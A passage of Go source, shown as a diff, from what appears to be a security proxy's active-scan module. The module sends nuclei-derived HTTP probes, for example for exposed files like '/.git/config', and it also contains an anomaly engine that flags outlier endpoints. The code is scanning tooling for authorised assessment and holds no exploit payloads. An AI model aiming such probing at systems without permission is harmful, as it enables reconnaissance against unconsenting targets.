}
}
func (p *spreader) finish() {
if p.budget > p.emitted {
p.rep.Progress(p.budget - p.emitted)
p.emitted = p.budget
}
}
+90
View File
@@ -0,0 +1,90 @@
package templatesig
import (
"fmt"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/httptools"
)
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
// string keeps a probe from standing out from ordinary traffic.
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
// reduced to its path. Content-Length is computed from the body in hand; the
// request never carries Transfer-Encoding.
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
host, err := hostOf(origin)
if err != nil {
return nil, err
}
target := normalizePath(path)
if strings.ContainsAny(target, "\r\n") {
return nil, fmt.Errorf("illegal path")
}
method := strings.ToUpper(strings.TrimSpace(req.Method))
if method == "" {
method = "GET"
}
var b strings.Builder
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
fmt.Fprintf(&b, "Host: %s\r\n", host)
sentUA, sentAccept := false, false
for k, v := range req.Headers {
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
continue
}
switch strings.ToLower(k) {
case "user-agent":
sentUA = true
case "accept":
sentAccept = true
case "host", "content-length":
continue // Host is set above; Content-Length is computed below
}
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
}
if !sentUA {
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
}
if !sentAccept {
b.WriteString("Accept: */*\r\n")
}
b.WriteString("Connection: close\r\n")
b.WriteString("\r\n")
b.WriteString(req.Body)
return httptools.UpdateContentLength([]byte(b.String())), nil
}
// hostOf returns the host[:port] of an origin.
func hostOf(origin string) (string, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return "", fmt.Errorf("bad origin %q", origin)
}
return u.Host, nil
}
// normalizePath reduces a signature path to an origin-form request target.
func normalizePath(p string) string {
p = strings.TrimSpace(p)
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
p = strings.ReplaceAll(p, "{{Hostname}}", "")
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
p = originPath(p)
}
if p == "" {
return "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
return p
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,338 @@
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
// requests and files a finding when the response matches a check. The checks are
// an embedded, normalized dataset mined at design time from nuclei-templates (see
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
// vetted schema.
//
// # Fingerprint-gated
//
// Before sending, the rule reads the passive technology fingerprint of the host
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
// but fail-open: a version constraint narrows only when the version is known.
//
// # Fail-closed at the source, not here
//
// The matcher vocabulary is deliberately small (status, word, regex, size, with
// and/or and negation). That is not a runtime limitation to work around: the
// converter emits a signature only when a template's whole logic fits this
// vocabulary, and drops the rest. So a signature that reaches this package is one
// Joro can evaluate faithfully — there is no partial evaluation that could report
// a vulnerable target as safe.
package templatesig
import (
"context"
"fmt"
"net/url"
"regexp"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
const (
ruleID = "templatesig"
findingRule = "activescan.templatesig"
perRequestTimeout = 15 * time.Second
// maxRespBytes is the response body a match needs; the send default is sized
// only to fingerprint, which is too little for a body word/regex matcher.
maxRespBytes = 1 << 20
)
// TechReq is a technology precondition on a signature. An empty Name list on a
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
// MaxVersion exclusive; either may be empty.
type TechReq struct {
Name string `json:"name"`
MinVersion string `json:"minVersion,omitempty"`
MaxVersion string `json:"maxVersion,omitempty"`
}
// Matcher is one condition evaluated against a response.
type Matcher struct {
Type string `json:"type"` // status | word | regex | size
Part string `json:"part,omitempty"` // body | header | all (default body)
Status []int `json:"status,omitempty"`
Words []string `json:"words,omitempty"`
Regexes []string `json:"regexes,omitempty"`
Sizes []int `json:"sizes,omitempty"`
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
Negative bool `json:"negative,omitempty"`
compiled []*regexp.Regexp // filled by compile()
}
// Request is one probe: a method and one or more paths sharing a matcher set.
type Request struct {
Method string `json:"method"`
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
Headers map[string]string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
Matchers []Matcher `json:"matchers"`
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
}
// Signature is one normalized check mined from a nuclei template.
type Signature struct {
ID string `json:"id"`
NucleiID string `json:"nucleiId,omitempty"`
Name string `json:"name"`
Severity string `json:"severity"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Reference []string `json:"reference,omitempty"`
Tags []string `json:"tags,omitempty"`
Source string `json:"source,omitempty"`
RequiresTech []TechReq `json:"requiresTech,omitempty"`
Requests []Request `json:"requests"`
}
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
// signature set. The per-signature enable/disable half of Cataloger comes from the
// embedded *activescan.DisabledSet (per-project session state set by
// applyProjectConfig and read by buildProjectConfig).
type Rule struct {
once sync.Once
sigs []Signature
err error
*activescan.DisabledSet
}
// New returns the template-signature rule. The embedded dataset is parsed and its
// regexes compiled lazily on first Run, off the server boot path.
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
// RuleID is the stable registry id of this rule, for callers that resolve the
// concrete rule from the registry.
func RuleID() string { return ruleID }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Template signatures" }
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
func (*Rule) Description() string {
return "HTTP request signatures mined from nuclei templates — exposed files, " +
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
"gated: only signatures matching a host's detected technology stack run, plus the " +
"tech-agnostic ones."
}
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
func (r *Rule) CatalogItems() []activescan.CatalogItem {
sigs, err := r.load()
if err != nil {
return nil
}
out := make([]activescan.CatalogItem, 0, len(sigs))
for i := range sigs {
sig := &sigs[i]
var method string
var paths []string
if len(sig.Requests) > 0 {
method = sig.Requests[0].Method
paths = sig.Requests[0].Paths
}
tech := make([]string, 0, len(sig.RequiresTech))
for _, t := range sig.RequiresTech {
tech = append(tech, t.Name)
}
detail := []activescan.CatalogField{}
add := func(label, value string) {
if value != "" {
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
}
}
if method != "" || len(paths) > 0 {
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
}
add("Required technology", strings.Join(tech, ", "))
add("Tags", strings.Join(sig.Tags, ", "))
add("References", strings.Join(sig.Reference, "\n"))
add("Nuclei ID", sig.NucleiID)
add("Source", sig.Source)
out = append(out, activescan.CatalogItem{
ID: sig.ID,
Name: sig.Name,
Severity: sig.Severity,
Confidence: string(sig.Confidence()),
Target: string(detect.TargetMessage),
Description: sig.Description,
Remediation: sig.Remediation,
Enabled: r.IsItemEnabled(sig.ID),
Detail: detail,
})
}
return out
}
// Run selects the eligible signatures for the target's technology stack and
// probes each, filing a finding per confirmed match.
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
sigs, err := r.load()
if err != nil {
return fmt.Errorf("load signatures: %w", err)
}
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
prog := newSpreader(rep, len(t.URLs), len(selected))
defer prog.finish()
send := httptools.SendDeps{
ProxyAddr: deps.ProxyAddr,
CA: deps.CA,
Store: deps.Store,
MaxRespBytes: maxRespBytes,
}
for _, sig := range selected {
if ctx.Err() != nil {
return ctx.Err()
}
r.runSignature(ctx, t, sig, send, rep)
prog.step()
}
return nil
}
// runSignature probes every request/path of one signature, stopping a request's
// path sweep at the first match when the signature asks for it.
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for _, path := range req.Paths {
if ctx.Err() != nil {
return
}
raw, err := renderRequest(t.Origin, req, path)
if err != nil {
continue
}
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
cancel()
if err != nil {
continue
}
resp := httptools.ReadResponse(sent.RespRaw)
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
ok, evidence := evalMatchers(req, resp, rp)
if !ok {
continue
}
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
if req.StopAtFirstMatch {
break
}
}
}
}
// buildFinding maps a confirmed match to a detect.Finding in detect's identity
// space, deduped per signature, host and path.
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
now := time.Now()
u := sentURL
if u == "" {
u = strings.TrimRight(origin, "/") + path
}
detail := sig.Name
if sig.NucleiID != "" {
detail = sig.NucleiID + ": " + sig.Name
}
return detect.Finding{
ID: detect.FindingID(sig.ID, host, path),
RuleID: findingRule,
RuleName: sig.Name,
Category: detect.CategoryTemplate,
Severity: mapSeverity(sig.Severity),
Confidence: confidenceFor(sig),
Target: detect.TargetMessage,
Host: host,
Method: requestMethod(sig),
URL: u,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func requestMethod(sig Signature) string {
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
return strings.ToUpper(sig.Requests[0].Method)
}
return "GET"
}
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
// to info for an unknown value.
func mapSeverity(s string) detect.Severity {
switch strings.ToLower(strings.TrimSpace(s)) {
case "critical":
return detect.SeverityCritical
case "high":
return detect.SeverityHigh
case "medium":
return detect.SeverityMedium
case "low":
return detect.SeverityLow
default:
return detect.SeverityInfo
}
}
// Confidence is the finding confidence a match of this signature carries, for the
// catalog UI. It is the same value buildFinding files.
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
// confidenceFor estimates confidence from matcher strength: a regex or a
// multi-term/status-qualified match is high; a lone word is medium; a bare status
// match is low. Nuclei carries no confidence of its own.
func confidenceFor(sig Signature) detect.Confidence {
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
for _, req := range sig.Requests {
for _, m := range req.Matchers {
switch m.Type {
case "regex":
hasRegex = true
nonStatus = true
case "word":
words += len(m.Words)
nonStatus = true
case "status":
hasStatus = true
case "size":
nonStatus = true
}
}
}
switch {
case hasRegex || (hasStatus && nonStatus) || words > 1:
return detect.ConfidenceHigh
case words == 1 || nonStatus:
return detect.ConfidenceMedium
default:
return detect.ConfidenceLow
}
}
// originPath splits an absolute URL into its path+query, for rendering.
func originPath(raw string) string {
u, err := url.Parse(raw)
if err != nil || u.Path == "" {
return raw
}
if u.RawQuery != "" {
return u.Path + "?" + u.RawQuery
}
return u.Path
}
+280
View File
@@ -0,0 +1,280 @@
// Package anomaly finds endpoints that don't look like anything else on their
// host — the lone JSON handler in an HTML app, a single 200 among 403s, an
// unusually large or slow response, a rare extension or parameter, an endpoint
// exposing a framework header the rest of the host does not. It is a triage aid
// that points attention at what to pursue, not a vulnerability claim.
//
// It is a separate package from internal/detect on purpose. The detect engine's
// three load-bearing properties — it judges one message at a time, its analyzers
// hold no state, and its Upsert keying makes rescans byte-for-byte idempotent —
// are exactly what an outlier question cannot honor. "Is this endpoint unlike
// its siblings?" is answered against a per-host baseline: shared, mutable state
// whose verdict depends on how much traffic has been seen. Computing it inside
// the detect engine would break the fan-out and the idempotent rescan both.
//
// So the computation lives here and only the *results* land in detect: this
// package mints detect.Findings under CategoryAnomaly through detect.FindingID
// and detect.Store.Upsert — the same path internal/capreg uses for agent-reported
// findings — which gives the anomaly findings the Detect table, triage,
// project persistence, the dashboard widget, triggers and webhooks for free.
//
// The engine runs on its own interval (not the proxy request path), maintains an
// incremental per-capture record cache keyed by sequence number, rebuilds
// baselines each cycle, upserts the current outliers, and retracts findings that
// are no longer outliers — but never a finding the operator has triaged (marked
// a false positive or noted), mirroring how detect's own purge preserves those.
package anomaly
import (
"context"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// cycleInterval is how often baselines are rebuilt. Longer than detect's live
// tick because this is a whole-host recompute, not a per-capture scan.
const cycleInterval = 20 * time.Second
// batchSize bounds one SinceSeq pull during intake.
const batchSize = 500
// Engine owns the record cache and the set of anomaly findings it manages.
type Engine struct {
store *proxy.Store
scope *proxy.Scope
findings *detect.Store
config func() detect.Config
broadcast chan<- any
notify func() // called after a cycle changes the store, to push detect.summary
mu sync.Mutex
records map[int]*record
cursor int
// managed maps a finding ID this engine owns to the signature (severity +
// evidence) last emitted for it, so a cycle re-emits only what changed and
// knows exactly which findings to reconcile.
managed map[string]string
}
// NewEngine constructs the engine. config is read every cycle so a live toggle
// or sensitivity change takes effect without a restart; notify pushes the
// aggregate detect.summary (it needs the detect engine's rule-enabled predicate,
// which lives in the API layer).
func NewEngine(store *proxy.Store, scope *proxy.Scope, findings *detect.Store, config func() detect.Config, broadcast chan<- any, notify func()) *Engine {
return &Engine{
store: store,
scope: scope,
findings: findings,
config: config,
broadcast: broadcast,
notify: notify,
records: map[int]*record{},
managed: map[string]string{},
}
}
// Run rebuilds baselines on an interval until ctx is cancelled, mirroring the
// detect scanner's loop.
func (e *Engine) Run(ctx context.Context) {
t := time.NewTicker(cycleInterval)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
e.RunCycle()
}
}
}
// ResetCursor is called wherever proxy.Store rewrites its sequence numbering
// (Clear zeroes it, a project load rewrites it), the same obligation the detect
// scanner's cursor has. It drops the record cache: a rewrite invalidates the
// seq keys the cache is built on.
func (e *Engine) ResetCursor(seq int) {
e.mu.Lock()
defer e.mu.Unlock()
e.cursor = seq
e.records = map[int]*record{}
}
// RunCycle performs one intake-and-analyze pass. Exported so a test or a manual
// trigger can drive it without the ticker.
func (e *Engine) RunCycle() {
cfg := e.config()
if !cfg.AnomalyEnabled {
e.retractAll()
return
}
e.intake()
e.analyze(cfg)
}
// intake fingerprints captures newer than the cursor into the record cache and
// drops records whose sequence numbers have been evicted from the store.
func (e *Engine) intake() {
e.mu.Lock()
defer e.mu.Unlock()
if e.store.Count() == 0 {
e.records = map[int]*record{}
return
}
if oldest := e.store.SinceSeq(0, 1); len(oldest) == 1 {
minSeq := oldest[0].Seq
for seq := range e.records {
if seq < minSeq {
delete(e.records, seq)
}
}
}
for {
batch := e.store.SinceSeq(e.cursor, batchSize)
if len(batch) == 0 {
break
}
for _, cr := range batch {
if cr.Seq > e.cursor {
e.cursor = cr.Seq
}
if r := buildRecord(cr); r != nil {
e.records[r.seq] = r
}
}
if len(batch) < batchSize {
break
}
}
}
// analyze groups the cached records by host, runs the signals, and commits.
func (e *Engine) analyze(cfg detect.Config) {
e.mu.Lock()
recs := make([]*record, 0, len(e.records))
for _, r := range e.records {
recs = append(recs, r)
}
prev := e.managed
e.mu.Unlock()
th := thresholdsFor(cfg.AnomalySensitivity)
byHost := map[string][]*record{}
for _, r := range recs {
if cfg.ScopeOnly && !e.scope.InScope(r.host, r.method, r.rawPath) {
continue
}
if hostExcluded(r.host, cfg.ExcludeHosts) {
continue
}
byHost[r.host] = append(byHost[r.host], r)
}
var cands []detect.Finding
for host, hr := range byHost {
cands = append(cands, analyzeHost(host, hr, th)...)
}
e.commit(cands, prev)
}
// commit upserts the current outliers, emits what is new or changed, and retracts
// managed findings no longer present unless the operator has triaged them.
func (e *Engine) commit(cands []detect.Finding, prev map[string]string) {
next := make(map[string]string, len(cands))
changed := false
for _, f := range cands {
sig := string(f.Severity) + "|" + f.Evidence
next[f.ID] = sig
// Unchanged since last cycle: leave the store untouched. Every Upsert
// bumps the findings-store revision, which detectSignature folds into the
// autosave fingerprint, so re-writing a steady finding each cycle would
// force a project save every 20s for no reason.
if prev[f.ID] == sig {
continue
}
stored, isNew := e.findings.Upsert(f)
if isNew {
changed = true
}
e.emit(*stored, isNew)
}
for id := range prev {
if _, still := next[id]; still {
continue
}
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue // keep triaged findings; stop managing them
}
if e.findings.Delete(id) {
changed = true
}
}
e.mu.Lock()
e.managed = next
e.mu.Unlock()
if changed && e.notify != nil {
e.notify()
}
}
// retractAll drops every managed finding (except triaged ones) when the feature
// is turned off. The record cache is kept so a re-enable is cheap.
func (e *Engine) retractAll() {
e.mu.Lock()
prev := e.managed
e.managed = map[string]string{}
e.mu.Unlock()
if len(prev) == 0 {
return
}
changed := false
for id := range prev {
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue
}
if e.findings.Delete(id) {
changed = true
}
}
if changed && e.notify != nil {
e.notify()
}
}
func (e *Engine) emit(f detect.Finding, isNew bool) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{
Type: "detect.finding",
Data: map[string]any{"finding": f, "isNew": isNew},
}:
default:
}
}
// hostExcluded mirrors the detect engine's substring host exclusion.
func hostExcluded(host string, exclude []string) bool {
for _, ex := range exclude {
if ex != "" && strings.Contains(host, ex) {
return true
}
}
return false
}
+95
View File
@@ -0,0 +1,95 @@
package anomaly
import (
"regexp"
"strings"
)
var (
numSegRe = regexp.MustCompile(`^\d+$`)
uuidSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$`)
hexSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{16,}$`)
opaqueRe = regexp.MustCompile(`^[A-Za-z0-9_\-]+$`)
digitRe = regexp.MustCompile(`\d`)
)
// normalizePath folds volatile path segments to {id} so that /users/1 and
// /users/2 collapse to a single endpoint. Without it every record with an
// embedded identifier is its own endpoint and no per-endpoint baseline forms.
func normalizePath(p string) string {
if p == "" || p == "/" {
return "/"
}
segs := strings.Split(p, "/")
for i, s := range segs {
if s == "" {
continue
}
segs[i] = normalizeSeg(s)
}
return strings.Join(segs, "/")
}
func normalizeSeg(s string) string {
switch {
case numSegRe.MatchString(s):
return "{id}"
case uuidSegRe.MatchString(s):
return "{id}"
case hexSegRe.MatchString(s):
return "{id}"
case len(s) >= 24 && opaqueRe.MatchString(s) && digitRe.MatchString(s):
// A long token carrying both letters and digits: a session id, a signed
// value, a slug with an embedded id. Opaque enough to template.
return "{id}"
}
return s
}
// pathExt returns the lowercase file extension of the last path segment, or ""
// when there is none. It reads the raw path, not the templated one, so a
// templated trailing segment ({id}) yields no extension.
func pathExt(p string) string {
if p == "" {
return ""
}
seg := p
if i := strings.LastIndexByte(p, '/'); i >= 0 {
seg = p[i+1:]
}
dot := strings.LastIndexByte(seg, '.')
if dot <= 0 || dot == len(seg)-1 {
return ""
}
ext := strings.ToLower(seg[dot+1:])
if len(ext) > 8 || !opaqueRe.MatchString(ext) {
return ""
}
return ext
}
// majorCT strips parameters from a Content-Type, leaving "type/subtype".
func majorCT(ct string) string {
ct = strings.ToLower(strings.TrimSpace(ct))
if i := strings.IndexByte(ct, ';'); i >= 0 {
ct = strings.TrimSpace(ct[:i])
}
return ct
}
// statusClass maps a status code to its hundreds band (2, 3, 4, 5), or 0.
func statusClass(code int) int {
if code < 100 || code >= 600 {
return 0
}
return code / 100
}
// commonWebExt are extensions ordinary enough that their rarity on a host is not
// interesting. A rare extension outside this set (.bak, .sql, .old, .zip) is.
var commonWebExt = map[string]struct{}{
"html": {}, "htm": {}, "php": {}, "asp": {}, "aspx": {}, "jsp": {},
"js": {}, "css": {}, "json": {}, "xml": {}, "txt": {}, "svg": {},
"png": {}, "jpg": {}, "jpeg": {}, "gif": {}, "webp": {}, "ico": {},
"woff": {}, "woff2": {}, "ttf": {}, "map": {},
}
+161
View File
@@ -0,0 +1,161 @@
package anomaly
import (
"bytes"
"net/url"
"sort"
"strings"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// record is the light, immutable per-capture summary the baselines are built
// from. One is computed per captured request the first time its sequence number
// is seen, then cached — response fingerprinting is the expensive step and a
// capture never changes after it is stored.
type record struct {
seq int
host string
method string
rawPath string
norm string // templated path (the endpoint key component)
url string // full URL of this capture, for the representative request
reqID string
ts int64 // unix nanos of capture, for picking the most recent
statusClass int
majorCT string
size int
durMs int64
hasDur bool
params []string // sorted query parameter names
ext string
tech string // X-Powered-By if present, else Server token
authScheme string // first token of WWW-Authenticate, lowercased
cookieNames []string // Set-Cookie names on this response
}
// buildRecord summarizes one capture, or returns nil for a capture that must not
// enter a baseline: WebSocket upgrades (101) and the synthetic 502 the proxy
// stores for an upstream dial failure, both of which would distort a host's
// status and shape distributions.
func buildRecord(cr *proxy.CapturedRequest) *record {
if cr.Host == "" {
return nil
}
if cr.StatusCode == 101 {
return nil
}
if cr.StatusCode == 502 && isUpstreamError(cr.RespRaw) {
return nil
}
durMs := cr.Duration.Milliseconds()
fp := httptools.FingerprintResponse(cr.Seq, cr.RespRaw, durMs, false)
status := fp.Status
if status == 0 {
status = cr.StatusCode
}
ct := fp.CT
if ct == "" {
ct = cr.ContentType
}
var rawPath string
var params []string
if u, err := url.Parse(cr.URL); err == nil {
rawPath = u.Path
for k := range u.Query() {
params = append(params, k)
}
sort.Strings(params)
}
tech, authScheme, cookies := parseRespHeaders(cr.RespRaw)
if tech == "" {
tech = fp.Server
}
return &record{
seq: cr.Seq,
host: cr.Host,
method: strings.ToUpper(cr.Method),
rawPath: rawPath,
norm: normalizePath(rawPath),
url: cr.URL,
reqID: cr.ID,
ts: cr.Timestamp.UnixNano(),
statusClass: statusClass(status),
majorCT: majorCT(ct),
size: fp.Len,
durMs: durMs,
hasDur: durMs > 0,
params: params,
ext: pathExt(rawPath),
tech: strings.ToLower(tech),
authScheme: authScheme,
cookieNames: cookies,
}
}
// isUpstreamError matches the body buildUpstreamErrorCapture writes for a failed
// upstream dial. Kept in sync with that helper by shape, not import.
func isUpstreamError(raw []byte) bool {
i := bytes.Index(raw, []byte("\r\n\r\n"))
if i < 0 {
return false
}
return bytes.HasPrefix(bytes.TrimLeft(raw[i+4:], " \t\r\n"), []byte("upstream error:"))
}
// parseRespHeaders pulls the few headers the tech and header/auth signals need
// out of a raw response, without a full HTTP parse: the framework token
// (X-Powered-By, else the Server product), the auth scheme, and Set-Cookie
// names.
func parseRespHeaders(raw []byte) (tech, authScheme string, cookies []string) {
end := bytes.Index(raw, []byte("\r\n\r\n"))
if end < 0 {
end = len(raw)
}
var server string
for _, line := range bytes.Split(raw[:end], []byte("\r\n")) {
c := bytes.IndexByte(line, ':')
if c <= 0 {
continue
}
name := strings.ToLower(strings.TrimSpace(string(line[:c])))
val := strings.TrimSpace(string(line[c+1:]))
switch name {
case "x-powered-by":
if tech == "" {
tech = firstToken(val)
}
case "server":
server = firstToken(val)
case "www-authenticate":
if authScheme == "" {
authScheme = strings.ToLower(firstToken(val))
}
case "set-cookie":
if eq := strings.IndexByte(val, '='); eq > 0 {
cookies = append(cookies, strings.TrimSpace(val[:eq]))
}
}
}
if tech == "" {
tech = server
}
return tech, authScheme, cookies
}
// firstToken returns the value up to the first space, tab, or semicolon, so
// "Apache/2.4.7 (Ubuntu)" becomes "Apache/2.4.7".
func firstToken(s string) string {
if i := strings.IndexAny(s, " \t;,"); i > 0 {
return s[:i]
}
return s
}
+376
View File
@@ -0,0 +1,376 @@
package anomaly
import (
"fmt"
"sort"
"strings"
"time"
"github.com/BishopFox/joro/internal/detect"
)
// Signal rule IDs. Each is a stable synthetic RuleID so a finding's identity
// (FindingID(ruleID, host, endpointKey)) is deterministic and dedups across
// cycles. They are not engine rules; handleGetFinding returns rule:null for
// them and the UI reads Detail instead.
const (
ruleShape = "anomaly.shape"
ruleSize = "anomaly.size"
ruleLatency = "anomaly.latency"
ruleStructure = "anomaly.structure"
ruleHeader = "anomaly.header"
)
var ruleNames = map[string]string{
ruleShape: "Response-shape outlier",
ruleSize: "Response-size outlier",
ruleLatency: "Latency outlier",
ruleStructure: "Structural outlier",
ruleHeader: "Header / tech outlier",
}
// thresholds tune how stark an outlier must be to report. Sensitivity selects a
// set; see thresholdsFor.
type thresholds struct {
minEndpoints int // host needs at least this many endpoints for any signal
minMetric int // endpoints with a numeric metric before size/latency run
rareFrac float64 // a category on fewer than this fraction of endpoints is rare
dominateFrac float64 // the modal category must cover at least this to call others out
zThresh float64 // robust-z magnitude to flag a size/latency outlier
}
func thresholdsFor(sens string) thresholds {
switch sens {
case "low":
return thresholds{minEndpoints: 12, minMetric: 12, rareFrac: 0.05, dominateFrac: 0.75, zThresh: 4.5}
case "high":
return thresholds{minEndpoints: 5, minMetric: 6, rareFrac: 0.15, dominateFrac: 0.55, zThresh: 3.0}
default: // medium
return thresholds{minEndpoints: 8, minMetric: 8, rareFrac: 0.10, dominateFrac: 0.65, zThresh: 3.5}
}
}
// endpoint aggregates the records that share one host+method+templated-path.
type endpoint struct {
key string // "METHOD /norm/path" — the finding's group dimension
host string
method string
norm string
n int
repTS int64
repReqID string
repURL string
repMeth string
ctCount map[string]int
statusCount map[int]int
sizes []float64
durs []float64
params map[string]struct{}
ext string
techCount map[string]int
authCount map[string]int
}
func (ep *endpoint) add(r *record) {
ep.n++
if r.ts >= ep.repTS {
ep.repTS = r.ts
ep.repReqID = r.reqID
ep.repURL = r.url
ep.repMeth = r.method
}
if r.majorCT != "" {
ep.ctCount[r.majorCT]++
}
if r.statusClass != 0 {
ep.statusCount[r.statusClass]++
}
ep.sizes = append(ep.sizes, float64(r.size))
if r.hasDur {
ep.durs = append(ep.durs, float64(r.durMs))
}
for _, p := range r.params {
ep.params[p] = struct{}{}
}
if r.ext != "" {
ep.ext = r.ext
}
if r.tech != "" {
ep.techCount[r.tech]++
}
if r.authScheme != "" {
ep.authCount[r.authScheme]++
}
}
func (ep *endpoint) modalCT() string { s, _ := modalStr(ep.ctCount); return s }
func (ep *endpoint) modalStatus() int { s, _ := modalInt(ep.statusCount); return s }
func (ep *endpoint) modalTech() string { s, _ := modalStr(ep.techCount); return s }
func (ep *endpoint) modalAuth() string { s, _ := modalStr(ep.authCount); return s }
func (ep *endpoint) medianSize() float64 { return median(ep.sizes) }
func (ep *endpoint) medianDur() float64 { return median(ep.durs) }
// analyzeHost groups a host's records into endpoints and runs every signal,
// returning the anomaly findings for that host. Below the endpoint floor it
// returns nothing: with too few endpoints, everything looks like an outlier.
func analyzeHost(host string, recs []*record, th thresholds) []detect.Finding {
byKey := map[string]*endpoint{}
for _, r := range recs {
key := r.method + " " + r.norm
ep := byKey[key]
if ep == nil {
ep = &endpoint{
key: key, host: host, method: r.method, norm: r.norm,
ctCount: map[string]int{}, statusCount: map[int]int{},
params: map[string]struct{}{}, techCount: map[string]int{},
authCount: map[string]int{},
}
byKey[key] = ep
}
ep.add(r)
}
eps := make([]*endpoint, 0, len(byKey))
for _, ep := range byKey {
eps = append(eps, ep)
}
if len(eps) < th.minEndpoints {
return nil
}
// Deterministic order so findings emit stably.
sort.Slice(eps, func(i, j int) bool { return eps[i].key < eps[j].key })
// reasons accumulates one detail string per (ruleID, endpoint) so, e.g., a
// shape outlier tripping on both content-type and status is one finding.
type fkey struct {
rule string
ep *endpoint
}
reasons := map[fkey][]string{}
strong := map[fkey]bool{}
add := func(rule string, ep *endpoint, isStrong bool, msg string) {
k := fkey{rule, ep}
reasons[k] = append(reasons[k], msg)
if isStrong {
strong[k] = true
}
}
shapeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleShape, ep, s, msg) })
sizeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleSize, ep, s, msg) })
latencySignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleLatency, ep, s, msg) })
structureSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleStructure, ep, s, msg) })
headerSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleHeader, ep, s, msg) })
out := make([]detect.Finding, 0, len(reasons))
for k, msgs := range reasons {
sev := detect.SeverityInfo
conf := detect.ConfidenceLow
if strong[k] {
sev = detect.SeverityLow
conf = detect.ConfidenceMedium
}
out = append(out, k.ep.finding(k.rule, strings.Join(msgs, "; "), sev, conf))
}
return out
}
// shapeSignal flags an endpoint whose modal content-type or status class differs
// from a host that is otherwise dominated by one value.
func shapeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
ctFreq := map[string]int{}
stFreq := map[int]int{}
for _, ep := range eps {
if ct := ep.modalCT(); ct != "" {
ctFreq[ct]++
}
if st := ep.modalStatus(); st != 0 {
stFreq[st]++
}
}
domCT, domCTn := modalStr(ctFreq)
domST, domSTn := modalInt(stFreq)
ctDominates := domCT != "" && float64(domCTn)/float64(n) >= th.dominateFrac
stDominates := domST != 0 && float64(domSTn)/float64(n) >= th.dominateFrac
for _, ep := range eps {
ct := ep.modalCT()
if ctDominates && ct != "" && ct != domCT && frac(ctFreq[ct], n) < th.rareFrac {
strong := ctFreq[ct] == 1
